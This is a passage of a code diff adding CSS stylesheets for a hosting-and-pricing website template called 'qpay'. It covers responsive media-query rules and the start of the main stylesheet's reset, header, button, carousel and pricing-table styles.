.pricing-list li { + width: 24%; + } + .pricing-list li h5 { + font-size: 16px; + } + .pricing-list li .custom-btn { + font-size: 12px; + } + .pricing-table { + margin-bottom: 40px; + } + .user-slider { + padding-bottom: 100px; + } + .search-domain h3 { + padding-top: 0; + margin-top: -6px; + } + .search-domain form input { + width: 360px; + } + /*===== End of Index.html ======*/ + /*================================== + = About.html = + ==================================*/ + .team-block .col-6 { + margin-right: 70px; + } + .team-block.reverse .col-6 { + margin-left: 70px; + } + /*===== End of About.html ======*/ + /*========================================= + = service-page.html = + =========================================*/ + .service-page .search-domain .container, + .service-page footer .container { + width: 950px; + } + .service-page .container { + width: 950px; + } + .choice-plan { + padding-top: 145px; + } + .choice-plan .pricing-list li { + width: 30%; + } + .block-features .row { + justify-content: center; + } + .blog .container, + .blog .search-domain .container, + .blog footer .container { + width: auto; + } + .blog header .container { + width: 100%; + } + .block-features .col-5 { + padding-left: 0; + } + .block-features img { + max-width: 100%; + margin-left: 0; + } + /*===== End of service-page.html ======*/ + /*================================== + = order.html = + ==================================*/ + .account-details { + width: auto; + } + .order { + margin-bottom: 120px; + } + .tab-content, + .login-bg { + padding-bottom: 150px; + } + /*===== End of order.html ======*/ + /*==================================== + = contact.html = + ====================================*/ + .form-contact { + margin: -200px auto 160px; + } + .social-icon li { + width: 40px; + height: 40px; + line-height: 42px; + margin-right: 3px; + } + /*===== End of contact.html ======*/ +} +@media only screen and (min-width: 992px) { + .mobile-menu-btn, + .logo-mobile { + display: none; + } +} +@media only screen and (max-width: 991px) { + /*================================== + = Index.html = + ==================================*/ + header { + padding: 29px 0; + background-color: #0479ec; + } + header > .container { + display: none; + } + header.transparent { + padding: 0; + height: 58px; + background-color: #0479ec; + } + header.transparent.active { + height: 100%; + } + header .button-header .custom-btn { + width: 96px; + } + header .button-header .custom-btn .custom-btn, + header .button-header .custom-btn.login { + color: #fff; + } + header .menu li { + margin-right: 16px; + } + header .logo-mobile { + display: inline-block; + position: absolute; + top: 50%; + left: 30px; + transform: translateY(-50%); + } + header .logo-mobile img { + max-width: 144px; + } + .mobile-menu .logo { + text-align: left; + padding: 10px 0 0 30px; + } + h1, + h2, + h3, + h4, + h5, + h6 { + line-height: normal; + } + .base-slider h2 { + font-size: 18px; + } + .base-slider p { + font-size: 11px; + } + .base-slider .inside { + top: 50%; + } + .partner ul li { + margin-right: 15px; + } + .why-choose { + margin-bottom: 40px; + } + .why-choose .inside { + margin-bottom: 40px; + } + .hosting-software { + margin-bottom: 80px; + } + .hosting-software ul li { + margin-right: 35px; + padding-right: 35px; + } + .pricing-list li { + width: 48%; + margin-bottom: 15px; + } + .search-domain form { + margin-left: 0; + } + .pricing-table { + margin-bottom: 60px; + } + .user-slider { + margin-bottom: 100px; + } + footer .widget-footer { + width: 33%; + word-wrap: break-word; + } + footer .widget-footer:nth-child(3n+1) { + clear: both; + } + footer .widget-footer.last { + width: 33%; + padding-left: 0; + } + /*===== End of Index.html ======*/ + /*================================== + = About.html = + ==================================*/ + .team-block { + margin-bottom: 60px; + } + .team-block .col-6 { + margin-right: 0; + } + .team-block h3 { + font-size: 21px; + } + .team-block.reverse .col-6 { + margin-left: 0; + } + .team-block.reverse h3 { + line-height: 30px; + } + .about-block { + background-position: top; + } + .our-team ul li { + width: 23%; + } + .breadcrumbs { + padding: 150px 0; + } + .login-bg, + .sign-up { + margin: 0 15px; + } + /*===== End of About.html ======*/ + /*========================================= + = service-page.html = + =========================================*/ + .service-page .container { + width: 750px; + } + .service-page .search-domain .container, + .service-page footer .container { + width: 750px; + } + .search-domain h3 { + padding-bottom: 10px; + } + .block-features .row { + align-items: center; + flex-direction: column; + } + .block-features img { + max-width: 100%; + margin-left: 0; + } + .block-features .col-5 { + padding-left: 15px; + } + .choice-plan { + padding: 120px 0 0; + } + .choice-plan .pricing-list li { + width: 30%; + margin-right: 25px; + } + .choice-plan .pricing-list li .price { + font-size: 26px; + } + .bottom-info-plans ul li { + margin-right: 20px; + } + .user-slider .inside { + width: 100%; + } + /*===== End of service-page.html ======*/ + /*=========================================== + = user-interface.html = + ===========================================*/ + .tab-content { + padding-bottom: 220px; + } + /*===== End of user-interface.html ======*/ + /*=================================== + = order.html = + ===================================*/ + .content-order .tab-content, + .content-order .account-details { + width: auto; + float: none; + } + .total-order { + width: 100%; + } + .account-details .bottom { + margin-bottom: 90px; + } + .account-details form .form-group.col-2 input { + width: 344px; + } + /*===== End of order.html ======*/ + /*================================ + = 404.html = + ================================*/ + .error-page .inside { + padding-top: 150px; + padding-bottom: 150px; + } + /*===== End of 404.html ======*/ + /*====================================== + = blog-list.html = + ======================================*/ + .order { + margin-bottom: 30px; + } + .blog aside { + margin-left: 0; + margin-bottom: 120px; + } + .blog .container, + .blog .search-domain .container, + .blog footer .container { + width: auto; + } + .single-blog .related-post ul li:last-child { + padding-left: 0; + } + .post .post-images img { + height: auto; + } + /*===== End of blog-list.html ======*/ + /*==================================== + = contact.html = + ====================================*/ + .form-contact { + margin: -200px auto 150px; + } + .form-contact form, + .login-bg form, + .sign-up form { + margin: 0 15px; + } + .contact .mobile-menu .inside { + padding: 0; + } + .contact .bg-form .container { + width: 100%; + } + .contact .inside.left { + padding-right: 0; + } + .contact .inside.right { + padding-left: 0; + } + .login-bg form, + .sign-up form { + margin: 30px auto; + } + .login-page header { + background-color: #0479ec; + } + /*===== End of contact.html ======*/ +} +@media only screen and (max-width: 768px) { + /*================================== + = Index.html = + ==================================*/ + header { + margin-bottom: 60px; + } + .base-slider .custom-btn { + font-size: 12px; + padding: 11px 22px; + } + .base-slider .inside { + width: 100%; + } + .base-slider .inside p { + font-size: 9px; + } + .title-head { + font-size: 24px; + line-height: normal; + margin-bottom: 50px; + } + .partner { + padding-bottom: 40px; + margin-bottom: 0; + } + .partner ul li { + margin-bottom: 15px; + } + .hosting-software ul li { + width: 50%; + float: left; + margin-right: 0; + padding-right: 0; + margin-bottom: 30px; + } + .hosting-software ul li:nth-child(2) { + border: none; + } + .pricing-list li { + width: 100%; + margin-right: 0; + } + .info-pricing { + padding: 53px 30px 22px 30px; + } + .info-pricing ul .custom-btn { + padding: 10px 15px; + font-size: 12px; + } + .info-pricing ul li { + background-size: 7%; + } + .user-slider { + margin-bottom: 150px; + } + .user-slider .inside { + width: 100%; + } + .search-domain { + padding: 30px 0 45px 0; + } + .search-domain h3 { + margin-bottom: 15px; + } + .search-domain form input, + .search-domain form .form-group, + .search-domain form .custom-btn { + width: 100%; + } + .search-domain form .custom-btn { + margin-left: 0; + } + .pre-footer { + margin-bottom: -4%; + } + footer .widget-footer { + width: 50%; + } + footer .widget-footer:nth-child(2n+1) { + clear: both; + } + footer .widget-footer:nth-child(3n+1) { + clear: initial; + } + footer .widget-footer.last { + width: 50%; + padding-left: 0; + } + /*===== End of Index.html ======*/ + /*================================== + = About.html = + ==================================*/ + .info-block { + padding: 35px 0; + margin-bottom: 40px; + } + .info-block p { + font-size: 22px; + } + .team-block .col-6 { + width: 100%; + margin-bottom: 30px; + } + .team-block .row { + flex-direction: column; + } + .team-block .images { + padding-right: 15px; + } + .team-block.reverse { + flex-direction: column-reverse; + } + .team-block.reverse .col-6 { + width: 100%; + } + .team-block.reverse .images img { + padding-left: 15px; + } + .team-block .images img { + width: auto; + margin-left: 0; + } + .about-block .hosting-software ul li { + width: 50%; + } + .about-block .hosting-software ul li:first-child, + .about-block .hosting-software ul li:last-child { + width: 50%; + text-align: center; + } + .our-team ul { + margin-bottom: 0; + } + .our-team ul li { + width: 49%; + margin-right: 3px; + margin-bottom: 20px; + } + .our-team ul li:nth-child(2n+1) { + clear: both; + } + .user-slider .owl-prev, + .user-slider .owl-next { + display: none; + } + /*===== End of About.html ======*/ + /*========================================= + = service-page.html = + =========================================*/ + .service-page .container { + width: auto; + } + .service-page .search-domain .container, + .service-page footer .container { + width: auto; + } + .choice-plan { + margin-bottom: 60px; + } + .choice-plan h2 { + font-size: 32px; + } + .choice-plan .pricing-list li { + width: 48%; + margin-right: 0; + } + .tab-content a { + font-size: 11px; + } + .block-features .col-5 { + padding-right: 15px; + padding-left: 15px; + margin-right: 0; + } + .block-features .row { + flex-direction: column; + } + .block-features img { + margin-left: 0; + } + .bottom-info-plans { + padding: 260px 0 80px 0; + } + .bottom-info-plans ul li { + margin-bottom: 15px; + } + .info-plan { + padding-bottom: 40px; + } + .info-plan p { + margin-bottom: 30px; + } + .info-plans table tr { + padding: 0 15px; + display: block; + } + .info-plans table tr td { + padding: 15px !important; + width: 23% !important; + display: inline-block; + } + .search-domain form .select-options { + left: 0; + } + .select-options { + width: 100%; + } + .select-options li { + padding: 10px; + } + /*===== End of service-page.html ======*/ + /*============================================ + = user-interface.html = + ============================================*/ + .top-panel .nav li { + margin-right: 15px; + } + .top-panel .nav li a { + font-size: 11px; + } + .my-account .tab-content { + padding-bottom: 20px; + } + .tab-content .content { + width: 100%; + } + .payment-history, + .password { + width: 100%; + } + /*===== End of user-interface.html ======*/ + /*=================================== + = order.html = + ===================================*/ + .account-details form .form-group.col-2 input { + width: 100%; + } + .account-details .bottom { + margin-bottom: 60px; + } + .total-order { + width: 100%; + margin-bottom: 30px; + } + .order-page .tab-content .content { + padding: 15px; + } + .order-page .tab-content div > img { + margin-left: 0; + } + /*===== End of order.html ======*/ + /*======================================= + = blog-list.html = + =======================================*/ + .single-blog.container { + width: 100%; + } + .single-blog .content-post .quote { + padding-left: 0; + } + .single-blog .content-post ul li { + width: 100%; + float: none; + text-align: center; + } + .single-blog .content-post ul li:first-child { + margin-right: 0; + } + .single-blog .related-post { + margin-bottom: 160px; + } + .single-blog .related-post ul li { + width: 100%; + float: none; + display: inline-block; + margin-bottom: 30px; + } + .blog aside { + margin-bottom: 170px; + } + /*===== End of blog-list.html ======*/ + /*==================================== + = contact.html = + ====================================*/ + .info-block-contact:after { + display: none; + } + .form-contact { + width: 100%; + } + /*===== End of contact.html ======*/ + /*================================== + = login.html = + ==================================*/ + .login-bg, + .sign-up { + padding-bottom: 110px; + } + .login-bg form, + .sign-up form { + width: 100%; + } + /*===== End of login.html ======*/ +} +@media only screen and (max-width: 480px) { + /*================================== + = Index.html = + ==================================*/ + .base-slider { + padding-top: 55px; + } + .base-slider .owl-prev, + .base-slider .owl-next { + display: none; + } + .base-slider .inside { + margin-top: -15px; + } + .base-slider .inside p { + line-height: 15px; + margin-bottom: 10px; + } + .base-slider h2 { + font-size: 13px; + line-height: normal; + } + .base-slider .custom-btn { + font-size: 10px; + padding: 10px 16px; + } + .partner { + padding-bottom: 20px; + margin-bottom: 30px; + } + .partner ul { + flex-direction: column; + } + .partner ul li { + width: 50%; + margin-right: 0; + } + .hosting-software ul li span { + font-size: 12px; + } + .title-head { + font-size: 16px; + } + .info-pricing { + padding: 30px 15px 10px 15px; + } + .info-pricing ul { + width: 100%; + float: none; + } + .info-pricing ul.right { + padding-left: 0; + } + .info-pricing ul li { + background-size: 8%; + } + .pricing-table { + margin-bottom: 30px; + } + .user-slider .owl-nav .owl-prev, + .user-slider .owl-nav .owl-next { + display: none; + } + .search-domain h3 { + font-size: 24px; + } + .search-domain form input { + padding-left: 15px; + } + footer { + padding-top: 60px; + } + footer .widget-footer { + width: 100%; + text-align: center; + } + footer .widget-footer.last { + width: 100%; + } + .widget-footer { + margin-bottom: 40px; + } + /*===== End of Index.html ======*/ + /*================================== + = About.html = + ==================================*/ + .breadcrumbs { + padding: 100px 0; + } + .our-team ul li { + width: 100%; + margin-right: 0; + padding-right: 0; + } + .info-block p { + font-size: 18px; + line-height: 28px; + letter-spacing: 0; + } + .info-plan p { + margin-bottom: 30px; + } + .team-block h3 { + font-size: 20px; + letter-spacing: 0; + } + .team-block.reverse h3 { + font-size: 24px; + } + .about-block .hosting-software { + display: inline-block; + } + .error-page .inside h2 { + font-size: 125px; + } + .error-page .inside h4 { + font-size: 26px; + letter-spacing: 0; + } + .error-page .inside p { + font-size: 12px; + letter-spacing: 0; + } + /*===== End of About.html ======*/ + /*========================================= + = service-page.html = + =========================================*/ + .choice-plan h2 { + font-size: 20px; + } + .choice-plan .nav-tabs li a { + font-size: 10px; + padding: 6px 16px; + } + .choice-plan .pricing-list li { + width: 100%; + } + .bottom-info-plans .title-head { + margin-top: 40px; + } + .info-plans table thead tr td { + font-size: 10px; + } + .info-plans table tr { + padding: 0 15px; + width: 100%; + display: inline-block; + } + .info-plans table tr td { + float: left; + padding: 6px !important; + width: 25% !important; + margin-bottom: 5px; + font-size: 10px; + } + .info-plans table tr td.text-left { + text-align: center; + } + .info-plans table tr td img { + width: 12px; + } + .info-plans table tr td b { + font-size: 8px; + } + /*===== End of service-page.html ======*/ + /*=========================================== + = user-interface.html = + ===========================================*/ + .top-panel { + padding: 15px 0; + margin-bottom: 50px; + } + .top-panel .nav li { + width: 100%; + margin-right: 0; + margin-bottom: 10px; + } + .tab-content { + padding-bottom: 0; + } + .tab-content h5 { + font-size: 20px; + letter-spacing: 1px; + } + .tab-content h6 { + font-size: 16px; + } + .tab-content .content { + text-align: center; + display: inline-block; + } + .tab-content .content a { + font-size: 15px; + } + .tab-content .center { + padding: 0; + margin: 20px 0; + flex-direction: column; + } + .tab-content .last { + text-align: center; + margin-top: 5px; + } + .my-account .content > div { + margin-bottom: 20px; + } + .my-account .content .center, + .my-account .content .last { + width: 50%; + float: left; + margin: 0; + text-align: left; + display: inline-block; + } + .my-account #information .content div, + .my-account #payments .content div { + width: 50%; + float: left; + text-align: left; + } + #plan .content .last a { + margin-bottom: 37px; + } + /*===== End of user-interface.html ======*/ + /*================================== + = order.html = + ==================================*/ + .order-page .breadcrumbs { + padding: 110px 0 83px; + margin-bottom: 40px; + } + .order-page .breadcrumbs h1 { + font-size: 32px; + } + .order-page .tab-content .content { + width: 100%; + } + .order-page .tab-content .content > div { + margin-bottom: 20px; + } + .order-page .tab-content .content .center, + .order-page .tab-content .content .last { + width: 50%; + float: left; + text-align: left; + padding-left: 0; + margin: 0; + } + .order-page .tab-content .center { + padding-right: 0; + } + .tab-content a { + text-decoration: underline; + border-bottom: none; + } + .content-order .first { + padding-left: 0; + } + .account-details form .form-group.col-2 { + width: 100%; + } + .account-details form .form-group.col-2:nth-child(2), + .account-details form .form-group.col-2:nth-child(5) { + padding-left: 0; + } + /*===== End of order.html ======*/ + /*====================================== + = blog-list.html = + ======================================*/ + .post .top-post a { + font-size: 18px; + line-height: 26px; + } + .single-blog .related-post ul li a { + font-size: 14px; + line-height: 22px; + } + /*===== End of blog-list.html ======*/ + /*==================================== + = contact.html = + ====================================*/ + .form-contact form, + .login-bg form, + .sign-up form { + padding: 30px 15px; + } + .login-page header { + margin-bottom: 60px; + } + .login-bg form h2, + .sign-up form h2 { + margin-bottom: 20px; + } + .login-bg form .form-group, + .sign-up form .form-group { + margin-bottom: 35px; + } + .login-bg form button, + .sign-up form button { + margin-top: 20px; + } + /*===== End of contact.html ======*/ +} +/*===== End of Style Responsive ======*/ diff --git a/template/index8/assets/css/style.css b/template/index8/assets/css/style.css new file mode 100644 index 0000000..acbfaa1 --- /dev/null +++ b/template/index8/assets/css/style.css @@ -0,0 +1,3248 @@ +/* +Theme Name: qpay +*/ +/** + Navigation Files + + 01. Info + 02. Reset + 03. Base Style + 04. Header Style + 05. Elements Style + 06. Slider Style + 07. Footer Style + 08. About Style + 09. Blog Style + 10. Single Blog Style + 11. My Account Style + 12. Contact Style + 13. Widget Style + 14. 404Page Style + 15. Order Style + 16. Service Page Style + 17. Mobile Menu Style + 18. Login Style + + */ +/*================================= += 02. Reset = +=================================*/ +html, +body, +div, +span, +applet, +object, +iframe, +h1, +h2, +h3, +h4, +h5, +h6, +p, +blockquote, +pre, +a, +abbr, +acronym, +address, +big, +cite, +code, +del, +dfn, +em, +img, +ins, +kbd, +q, +s, +samp, +small, +strike, +strong, +sub, +sup, +tt, +var, +b, +u, +i, +center, +dl, +dt, +dd, +ol, +ul, +li, +fieldset, +form, +label, +legend, +table, +caption, +tbody, +tfoot, +thead, +tr, +th, +td, +article, +aside, +canvas, +details, +embed, +figure, +figcaption, +footer, +header, +hgroup, +menu, +nav, +output, +ruby, +section, +summary, +time, +mark, +audio, +video { + margin: 0; + padding: 0; + border: 0; + font-size: 100%; + vertical-align: baseline; +} +/* HTML5 display-role reset for older browsers */ +article, +aside, +details, +figcaption, +figure, +footer, +header, +hgroup, +menu, +nav, +section { + display: block; +} +body { + line-height: 1; +} +ol, +ul { + list-style: none; +} +blockquote, +q { + quotes: none; +} +blockquote:before, +blockquote:after, +q:before, +q:after { + content: ''; +} +button:focus { + outline: none; +} +table { + border-collapse: collapse; + border-spacing: 0; +} +select { + -webkit-appearance: none; + -moz-appearance: none; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +select::-ms-expand { + display: none; +} +label { + font-weight: normal; +} +img { + max-width: 100%; + height: auto; +} +iframe { + width: 100%; +} +/*===== End of 02. Reset ======*/ +/*====================================== += 03. Base Style = +======================================*/ +/** + Navigation File + + 01. Global Style + 02. Input + 03. Title Head + 04. Custom Fonts + + */ +/* 01. Global Style + ==================================== */ +body { + font-weight: 400; + font-family: 'Microsoft Yahei', serif; +} +.wrapper { + position: relative; +} +h1 { + font-size: 70px; + line-height: 70px; +} +h2 { + font-size: 50px; + line-height: 60px; + letter-spacing: 2px; +} +h3 { + font-size: 42px; + line-height: 52px; + letter-spacing: 2px; +} +h4 { + font-size: 32px; + line-height: 36px; + letter-spacing: 3px; +} +h5 { + font-size: 26px; + line-height: 32px; + letter-spacing: 1px; +} +h6 { + font-size: 18px; + line-height: 24px; +} +a { + display: block; + transition: 0.2s linear; + text-decoration: none; +} +a:hover { + text-decoration: none; +} +p { + color: #7782aa; + font-size: 14px; + line-height: 24px; + letter-spacing: 1px; +} +ul li, +ol li { + color: #7782aa; + font-size: 15px; + margin-bottom: 10px; + letter-spacing: 1px; +} +.list { + margin-bottom: 40px; + list-style: initial; +} +.list-number { + list-style: decimal; +} +.modal { + padding-right: 0 !important; +} +#counter b { + font-weight: normal; +} +/* 02. Input + ==================================== */ +input { + color: #524f6f; + background-color: transparent; +} +input::-webkit-input-placeholder { + font-size: 16px; +} +input::-moz-placeholder { + font-size: 16px; +} +input:-ms-input-placeholder { + font-size: 16px; +} +input:-moz-placeholder { + font-size: 16px; +} +/* 03. Title Head + ==================================== */ +.bg-gray { + background-color: #f6fafd; +} +.title-head { + text-align: center; + font-size: 32px; + color: #39335b; + margin-bottom: 60px; + letter-spacing: 3px; +} +.animatedParent { + overflow: hidden; +} +/* 04. Custom Fonts + ==================================== */ + +@font-face { + font-family: "AthelasItalic"; + src: url("../fonts/athelasitalic.eot") format("embedded-opentype"), url("../fonts/athelasitalic.ttf") format("truetype"), url("../fonts/athelasathelasitalic.woff") format("woff"), url("../fonts/athelasathelasitalic.woff2") format("woff2"); + font-weight: normal; + font-style: normal; +} +/*===== End of 03. Base Style ======*/ +/*======================================== += 03. Header Style = +========================================*/ +/* 01. Header + ==================================== */ +header { + padding: 50px 0; + margin-bottom: 90px; + position: relative; + background-color: #0479ec; +} +header.transparent { + top: 0; + left: 0; + width: 100%; + z-index: 2; + padding: 50px 0 0; + position: absolute; + margin-bottom: 0; + background-color: transparent; +} +header.transparent .logo-mobile { + top: 10px; + -ms-transform: translate(0); + transform: translate(0); +} +header.active { + padding: 0; + background-color: #1f7fe2; +} +header.active .mobile-menu { + display: inline-block; +} +header.active .logo-mobile { + display: none; +} +header .row { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: row; + flex-direction: row; + -ms-flex-align: center; + align-items: center; +} +header .logo img { + max-width: 144px; +} +header .menu { + text-align: right; + margin-right: 24px; +} +header .menu li { + position: relative; + display: inline-block; + margin-right: 41px; + margin-bottom: 0; +} +header .menu li:last-child { + margin-right: 0; +} +header .menu li:before { + content: ""; + position: absolute; + bottom: -12px; + left: 50%; + width: 24px; + height: 2px; + opacity: 0; + transition: 0.2s linear; + -ms-transform: translateX(-50%); + transform: translateX(-50%); + display: inline-block; + background-color: rgba(255, 255, 255, 0.2); +} +header .menu li:hover:before { + opacity: 1; +} +header .menu a { + color: rgba(255, 255, 255, 0.9); + font-size: 16px; + letter-spacing: 1px; +} +header .menu .children:hover .sub-menu { + opacity: 1; + visibility: visible; +} +header .menu .children:after { + content: ""; + width: 130px; + height: 18px; + bottom: -17px; + -ms-transform: translateX(-50%); + transform: translateX(-50%); + left: 50%; + background-color: transparent; + position: absolute; +} +header .menu .sub-menu { + top: 40px; + left: 50%; + -ms-transform: translateX(-50%); + transform: translateX(-50%); + position: absolute; + text-align: left; + width: 195px; + z-index: 9; + opacity: 0; + visibility: hidden; + border-radius: 5px; + box-shadow: 1px 2px 40px rgba(28, 30, 32, 0.14); + background-color: #fff; + transition: 0.3s linear; +} +header .menu .sub-menu:before { + content: ""; + top: -7px; + left: 50%; + -ms-transform: translateX(-50%); + transform: translateX(-50%); + display: inline-block; + border-left: 8px solid transparent; + border-right: 8px solid transparent; + border-bottom: 7px solid #fff; + position: absolute; +} +header .menu .sub-menu li { + margin: 0; + padding: 14px 20px; + display: block; +} +header .menu .sub-menu li:first-child { + border-top-right-radius: 5px; + border-top-left-radius: 5px; +} +header .menu .sub-menu li:last-child { + border-bottom-right-radius: 5px; + border-bottom-left-radius: 5px; +} +header .menu .sub-menu li:hover { + background-color: #e2eaf3; +} +header .menu .sub-menu li:hover a { + color: #39335b; +} +header .menu .sub-menu li:before { + display: none; +} +header .menu .sub-menu li a { + color: rgba(35, 120, 236, 0.9); +} +header .button-header { + text-align: right; + margin-right: 7px; +} +header .button-header .custom-btn { + width: 113px; + color: #fff; + box-shadow: 1px 1px 22px rgba(98, 129, 157, 0.4); + border-radius: 5px; + background: #42cbd1 linear-gradient(69deg, #37ddcb 0%, #42cbd1 80%, #42cbd1 100%); + letter-spacing: 1px; + display: inline-block; + text-align: center; + padding: 10px 15px; + text-transform: none; +} +header .button-header .custom-btn.login { + margin-right: 7px; + box-shadow: 1px 1px 22px rgba(14, 21, 34, 0.19); + border-radius: 5px; + background: #5791ef none; +} +header .button-header .custom-btn.login:hover { + color: #fff; + background-color: #6b9ef1; +} +header .button-header .custom-btn:hover { + opacity: 0.9; +} +/*===== End of 03. Header Style ======*/ +/*========================================= += 04. Elements Less = +=========================================*/ +/** + Navigation File + + 1. Custom Btn + 2. Owl Nav + 3. Partner + 4. Why Choose + 5. Hosting Software + 6. Pricing Table + 7. User Slider + 8. Search Domain + 9. Social Icon + 10.Breadcrumbs + + */ +/* 01. Custom Btn + ==================================== */ +.custom-btn { + padding: 14px 40px; + font-size: 15px; + color: #fff; + box-shadow: 1px 1px 11px rgba(98, 129, 157, 0.4); + border-radius: 7px; + display: inline-block; + text-transform: uppercase; + background-color: #0479ec; +} +.custom-btn:hover { + color: #fff; +} +.custom-btn.green { + border: none; + padding: 15px 71px; + background: #0479ec linear-gradient(69deg, #37ddcb 0%, #42cbd1 80%, #42cbd1 100%); +} +.custom-btn.green:hover { + color: #fff; + background-image: linear-gradient(69deg, rgba(55, 221, 203, 0.9) 0%, rgba(66, 203, 209, 0.9) 80%, rgba(66, 203, 209, 0.9) 100%); +} +.custom-btn.blue { + color: #0479ec; + padding: 14px 38px; + border: 1px solid #186ae1; + box-shadow: none; + background-color: transparent; +} +.custom-btn.blue:hover { + color: #fff; + background-color: #186ae1; +} +/* 02. Owl Nav + ==================================== */ +.owl-carousel { + cursor: url(../template/index/default/image/drag.png) 16 9, ew-resize; +} +.owl-nav { + position: static; +} +.owl-nav .owl-prev, +.owl-nav .owl-next { + top: 50%; + font-size: 0; + margin-top: -20px; + -ms-transform: translateY(-50%); + transform: translateY(-50%); + position: absolute; +} +.owl-nav .owl-prev i, +.owl-nav .owl-next i { + font-size: 36px; + color: #2f395d; +} +.owl-nav .owl-prev { + left: 50px; +} +.owl-nav .owl-next { + right: 50px; +} +.owl-dots { + text-align: center; +} +.owl-dots span { + width: 10px; + height: 10px; + border-radius: 100%; + display: inline-block; + background-color: #fff; + box-shadow: 0 1px 7px 1px rgba(119, 119, 119, 0.16); +} +.owl-dots .owl-dot { + display: inline-block; + margin-right: 10px; +} +.owl-dots .owl-dot:last-child { + margin-right: 0; +} +/* 03. Partner + ==================================== */ +.partner { + text-align: center; + padding-bottom: 47px; + margin-bottom: 65px; + border-bottom: 2px solid rgba(219, 234, 248, 0.6); +} +.partner h5 { + font-size: 15px; + margin-bottom: 45px; + letter-spacing: 1px; + text-transform: uppercase; + font-family: 'Microsoft Yahei', serif; +} +.partner .partner-slider .owl-stage { + display: -ms-flexbox; + display: flex; + -ms-flex-direction: row; + flex-direction: row; + -ms-flex-align: center; + align-items: center; +} +.partner .partner-slider .owl-item { + display: -ms-flexbox; + display: flex; + -ms-flex-pack: center; + justify-content: center; +} +.partner .partner-slider .item img { + width: 140px; + transition: 0.2s linear; +} +.partner .partner-slider .item:hover img { + -ms-transform: scale(1.1); + transform: scale(1.1); +} +/* 04. Why Choose + ==================================== */ +.why-choose { + margin-bottom: 88px; +} +.why-choose .inside { + padding: 70px 39px 38px 39px; + text-align: center; + box-shadow: 1px 1px 22px rgba(157, 184, 209, 0.19); + border-radius: 7px; + background-color: #fff; +} +.why-choose .inside a { + color: #39335b; + font-size: 18px; + margin-bottom: 12px; + letter-spacing: 2px; + font-family: 'Microsoft Yahei', serif; +} +.why-choose .inside a.read-more { + margin-bottom: 0; + color: #2687f1; + font-size: 16px; + display: inline-block; + position: relative; + letter-spacing: 1px; + font-family: 'Microsoft Yahei', serif; +} +.why-choose .inside a.read-more:before { + content: ""; + width: 0; + height: 2px; + bottom: -4px; + left: 50%; + opacity: 0; + margin-left: -7px; + -ms-transform: translateX(-50%); + transform: translateX(-50%); + position: absolute; + background-color: #2687f1; + display: inline-block; + transition: 0.2s linear; +} +.why-choose .inside a.read-more:hover:before { + width: 85%; + opacity: 1; +} +.why-choose .inside > img { + height: 76px; + margin-bottom: 35px; +} +.why-choose .inside img { + vertical-align: middle; +} +.why-choose .inside p { + color: #7782aa; + font-size: 14px; + line-height: 24px; + margin-bottom: 26px; +} +/* 05. Hosting Software + ==================================== */ +.hosting-software { + margin-bottom: 113px; +} +.hosting-software ul { + text-align: center; +} +.hosting-software ul li { + color: #2e8ff3; + font-size: 50px; + text-align: center; + text-transform: uppercase; + display: inline-block; + font-family: 'Microsoft Yahei', serif; + border-right: 2px solid #e9f1f7; + margin-right: 68px; + padding-right: 72px; +} +.hosting-software ul li:last-child { + margin-right: 0; + padding-right: 0; + border-right: 0; +} +.hosting-software ul li span { + color: #7c8ca4; + font-size: 16px; + text-transform: uppercase; + font-family: 'Microsoft Yahei', serif; + display: block; + margin-top: 27px; + letter-spacing: 1px; +} +.hosting-software .title-head { + margin-bottom: 71px; +} +.hosting-software.white .title-head { + color: #fff; +} +.hosting-software.white li { + color: #fff; + border-color: rgba(233, 241, 247, 0.2); +} +.hosting-software.white li span { + color: rgba(255, 255, 255, 0.5); +} +/* 06. Pricing Table + ==================================== */ +.pricing-table { + padding: 80px 0 30px 0; + background: url(../images/bg-blue.png) no-repeat center; + background-size: cover; + margin-bottom: 130px; +} +.pricing-table .title-head { + color: #fff; + margin-bottom: 8px; +} +.pricing-table p { + text-align: center; + margin-bottom: 62px; + letter-spacing: 1px; + color: rgba(205, 220, 236, 0.8); +} +.pricing-table .pricing-list .custom-btn { + padding: 14px 15px; +} +.pricing-list { + margin-bottom: 45px; + width: 100%; + clear: both; + display: inline-block; +} +.pricing-list li { + width: 24.3%; + float: left; + padding: 33px 29px 33px 35px; + text-align: center; + display: inline-block; + box-shadow: 1px 1px 22px rgba(157, 184, 209, 0.19); + border-radius: 3px; + background-color: #fff; + margin-right: 10px; +} +.pricing-list li:last-child { + margin-right: 0; +} +.pricing-list li .images { + margin-bottom: 17px; +} +.pricing-list li .images img { + height: 50px; +} +.pricing-list li h5 { + color: #39335b; + font-size: 18px; + margin-bottom: 9px; + letter-spacing: 1px; + font-family: 'Microsoft Yahei', serif; +} +.pricing-list li p { + color: #7782aa; + line-height: 22px; + margin-bottom: 18px; +} +.pricing-list li > span { + display: block; + margin-bottom: 15px; + position: relative; +} +.pricing-list li > span:before { + content: ""; + top: 8px; + left: 0; + width: 100%; + height: 2px; + background-color: #d6dde4; + display: inline-block; + position: absolute; +} +.pricing-list li > span b { + background-color: #fff; + padding: 0 10px; + font-size: 14px; + color: #39335b; + font-family: 'Microsoft Yahei', serif; + position: relative; + display: inline-block; +} +.pricing-list li span { + color: #39335b; + font-family: 'Microsoft Yahei', serif; +} +.pricing-list li .price { + color: #39335b; + font-size: 32px; + margin-bottom: 23px; + font-family: 'Microsoft Yahei', serif; +} +.pricing-list li .price span { + font-size: 18px; + display: inline-block; + margin-left: 3px; + letter-spacing: 2px; +} +.pricing-list li .custom-btn { + width: 100%; + padding: 10px 15px; +} +.pricing-list li .custom-btn:hover { + -ms-transform: scale(1.02); + transform: scale(1.02); + background-color: #238ff9; +} +.info-pricing { + padding: 50px 52px 20px 52px; + box-shadow: 1px 1px 30px rgba(14, 21, 34, 0.07); + border-radius: 4px; + background-color: #fff; + width: 100%; + display: inline-block; +} +.info-pricing h4 { + font-size: 24px; + color: #39335b; + margin-bottom: 33px; + letter-spacing: 2px; +} +.info-pricing ul { + width: 50%; + float: left; + display: inline-block; +} +.info-pricing ul li { + width: 100%; + text-align: left; + display: inline-block; + margin-bottom: 34px; + background: url(../images/check.svg) no-repeat; + padding-left: 32px; +} +.info-pricing ul li.button { + background: none; +} +.info-pricing ul li h6 { + color: #39335b; + font-size: 14px; + font-family: 'Microsoft Yahei', serif; + margin-bottom: 8px; + letter-spacing: 1px; +} +.info-pricing ul li p { + color: #7782aa; + text-align: left; + margin-bottom: 0; +} +.info-pricing ul .custom-btn { + 